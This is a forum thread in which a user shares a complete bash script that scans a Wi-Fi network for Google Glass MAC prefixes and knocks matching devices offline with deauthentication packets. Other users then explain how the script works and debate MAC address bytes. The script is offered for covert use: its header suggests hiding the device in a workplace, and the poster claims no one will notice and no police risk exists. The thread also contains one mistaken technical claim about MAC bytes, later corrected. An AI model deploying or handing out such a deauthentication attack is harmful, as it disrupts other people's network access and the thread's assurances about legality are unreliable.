Someone tapping into your wifi connection using Google's Glasses?

[GreyGeek]

Here's how to boot'm:
http://julianoliver.com/output/log_2014-05-30_20-52

#!/bin/bash
#
# GL*******.SH
#
# Find and kick Google Glass devices from your local wireless network.  Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host.  Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
#
# Save as gl*******.sh, 'chmod +x gl*******.sh' and exec as follows:
#
#   sudo ./gl*******.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>

shopt -s nocasematch # Set shell to ignore case

NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
GGMAC='F8:8F:CA:24' # May change as new editions of Google Glass are released 
POLL=30 # Check every 30 seconds

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device

echo '
   ___           _ __    __                     __             __        __   
  / _ \___  ___ ( ) /_  / /  ___   ___ _  ___ _/ /__ ____ ___ / /  ___  / /__ 
 / // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_)
/____/\___/_//_/ \__/ /_.__/\__/  \_,_/  \_, /_/\_,_/___/___/_//_/\___/_/\__/ 
                                        /___/                                 
'

while true;
    do  
        for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
        '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
           do
               if [[ $TARGET == *$GGMAC* ]]
                   then
                       # Audio alert
                       beep -f 1000 -l 500 -n 200 -r 2
                       echo "Gl******* discovered: "$TARGET
                       echo "De-authing..."
                       aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 
                    else
                        echo $TARGET": is not a Google Glass. Leaving alone.."
               fi
           done
           echo "None found this round."
           sleep $POLL
done
airmon-ng stop mon0

airmon-ng, beep and arp-scan are in the respo.

[Feathers McGraw]

Looking up the various utilities in that script has taught me a few things, so thanks!

As I understand it, your machine is pretending to be the router and flooding the target glass with fake authentication requests?

http://www.aircrack-ng.org/doku.php?...authentication was a useful page.

Also, two relevant XKCD:

[GreyGeek]

... As I understand it, your machine is pretending to be the router and flooding the target glass with fake authentication requests?

....

No, the script does not flood the GloogleGlass. And, it affects only the local wifi so no one will notice it unless they run nmap, kismet or some other snooping program. Ergo, you do not have to worry about being raided by the police!

aireplay-ng -0 1 -a $BSSID -c $TARGET mon0

The "-0 1" part instructs aireplay-ng to send a single deauthentication packet to the gloggleglass,
causing it to disconnect from the wireless router.
The program loops repeatedly through the list of APs the wireless router sees, looking for the GoogleGlass MAC address,
which is apparently the same for all of them!, and printing a message for each AP that is not a GoogleGlass.

It will sleep for a while and then repeat the test loop until the user kills the PID using either ksysmonther or the kill command.

SIDE NOTE: I am using the new BB command that Steve Riley set up. It uses the word "console" with the usual square brackets and forward slash. Neat! Thanks, Steve!

[Feathers McGraw]

Ah, thanks for that, I missed it. So if they connect again, they'll be disconnected the next time the script loops. Neat!

[jlittle]

...looking for the GoogleGlass MAC address,
which is apparently the same for all of them!...

Not quite, MAC addresses have 6 bytes, the script only checks four of them, I presume the first four because the first three specify the organization.

[GreyGeek]

Not quite, MAC addresses have 6 bytes, the script only checks four of them, I presume the first four because the first three specify the organization.

True. However, to identify a Google Glass on your network you need only bytes three through six.
http://www.creativeapplications.net/...-google-glass/

So you want to know if a Google Glass has entered your network? Watch for Mac addresses that start with F8:8F:CA:24.

Google could, no doubt, change the ":24" to something else but then all one would have to do is add a case statement to the script.

[SteveRiley]

The program loops repeatedly through the list of APs the wireless router sees

A wireless router is a kind of access point (AP). Actually, the script is looping through the list of supplicants, the technical term for wireless devices that are associated to an AP. Overall, though, this is very cool idea. I love the sneakiness.

It uses the word "console" with the usual square brackets and forward slash. Neat! Thanks, Steve!

Glad you like it.

Not quite, MAC addresses have 6 bytes, the script only checks four of them, I presume the first four because the first three specify the organization.

True. However, to identify a Google Glass on your network you need only bytes three through six.
Google could, no doubt, change the ":24" to something else but then all one would have to do is add a case statement to the script.

In a MAC address, the first three bytes constitute the organizationally-unique identifier (OUI), which indicates the manufacturer of the network interface -- as jlittle writes. The second three bytes constitute the Network Interface Controller (NIC) and can be assigned by the manufacturing organization in any pattern it wishes. According to the IEEE's official list, Google is the owner of F8-8F-CA:

F8-8F-CA (hex) Google Fiber, Inc
F88FCA (base 16) Google Fiber, Inc
1600 Amphitheatre Parkway
Mountain View California 94043
UNITED STATES

If you base your search only on bytes three through six, you're actually missing two thirds of the Google-specific OUI, which is required to identify a Google Glass. So the search must include these three, plus the fourth byte. And you are correct, Jerry, that Google will need to change this once the range 24-00-00 through 24-FF-FF is exhausted (this would be 65,536 GGs.)

[Feathers McGraw]

(this would be 65,536 GGs.)

*shudder*

[SteveRiley]

*shudder*

Yeah, really. The concept of 65,536 GreyGeeks makes me shudder, too! BWAHAHAHA

[Feathers McGraw]

Hehe. Have all those long flights made you go a little bit crazy?

[SteveRiley]

No, that happened a long time ago!

Speaking of which...time to pour a gin tonic and head to bed. My funk band is playing for the opening of the Lung Force Walk in the morning. Call time is at 8:00 AM!

And on that note, here's a recent recording of us playing music from Katamari:

[GreyGeek]

Yeah, really. The concept of 65,536 GreyGeeks makes me shudder, too! BWAHAHAHA

Greygeek mumbles under his breath: "kubuntuforums heute, morgen die Welt!" BWAHAHAHA indeed!

[SteveRiley]

AAAAAAAAAAHHHHHHHHHHHH!!!!!!!!

[Feathers McGraw]

How can you concentrate with that bloke with the scary jester hat standing behind you?? Lol

[SteveRiley]

Oh, Frank? He's harmless. In the same way that all zombie skeleton jokers are harmless.

I stand in front for a reason. Not just because I'm playing some kind of super-sized trumpet, lol.